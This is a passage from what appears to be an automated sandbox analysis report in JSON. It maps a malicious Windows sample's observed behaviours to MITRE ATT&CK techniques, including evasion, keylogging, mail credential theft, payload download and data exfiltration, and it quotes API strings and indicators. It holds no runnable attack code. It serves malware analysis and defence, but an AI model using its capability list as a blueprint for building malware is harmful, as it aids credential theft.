Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"malicious","value":"The input sample is signed with an invalid certificate"},{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file has unusual entropy resources"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Able to read the PEB (Process Environment Block) structure"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – Anomalous PE file structure"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Discovery","technique":"Cloud Service Dashboard","attack_id":"T1538","attack_id_wiki":"https://attack.mitre.org/techniques/T1538","identifiers":[{"type":"informative","value":"Able to retrieve cloud service dashboard"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to read software policies"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Contains ability to retrieve files based on search patterns"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"},{"type":"informative","value":"Able to capture drag-drop file operations"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"},{"type":"suspicious","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"malicious","value":"Tries to steal Mail credentials from registry"},{"type":"informative","value":"Found mail information locations related strings"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URL in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"malicious","value":"GETs executable from a web server (HTTPS)"},{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"informative","value":"GETs files from a web server (PE files)"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"},{"type":"informative","value":"References server/domain address with port number"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"malicious","value":"Upload file using POST request"},{"type":"suspicious","value":"POSTs data to a web server"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Unencrypted Non-C2 Protocol","attack_id":"T1048.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/003","identifiers":[{"type":"informative","value":"Data transmitted in plain text over an insecure network protocol/port"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Exfiltration","technique":"Data Transfer Size Limits","attack_id":"T1030","attack_id_wiki":"https://attack.mitre.org/techniques/T1030","sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"Found string \"[DE] Use auxiliary compression\" (Source: \"00000000-00002496.00000002.157925.EF0C1000.00000002.mdmp\")\n Found string \"[BR] Use wireless compression\" (Source: \"00000000-00002496.00000002.157925.EF0C1000.00000002.mdmp\")\n Found string \"[RU] Use primary compression\" (Source: \"00000000-00002496.00000002.157925.EF0C1000.00000002.mdmp\")\n Found string \"[FR] Use multi-byte compression\" (Source: \"00000000-00002496.00000002.157925.EF0C1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount64\"; File: \"5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e.bin\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; File: \"5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e.bin\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e.bin\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \":\"HERC2HREKdh3RDLYdkQn2HREKth/RCzYdEQl2HlEJNh0RCDYeEQh2HtEJNh3RCfYeUQl2HtELthsRCjYf0Qq2HhEIdg=\" (Indicator: \"RC2\"; Source: \"00000000-00002496.00000001.156369.D4010000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00002496.00000001.156369.D5CE0000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\" HTTP/1.1 200 OK\nServer: openresty/1.27.1.1\nDate: Fri\n 01 May 2026 15:30:59 GMT\nContent-Length: 11797\nConnection: keep-alive\nContent-Type: text/html\nCache-Control: private\n no-cache\n no-store\n must-revalidate\n max-age=0\ncf-edge-cache: no-cache with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C206C616E673D22656E223E0A3C686561643E0A20203C6D65746120636861727365743D2275746638223E0A.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$32","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"69f4c6dcd7c17e1aa20b6766"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"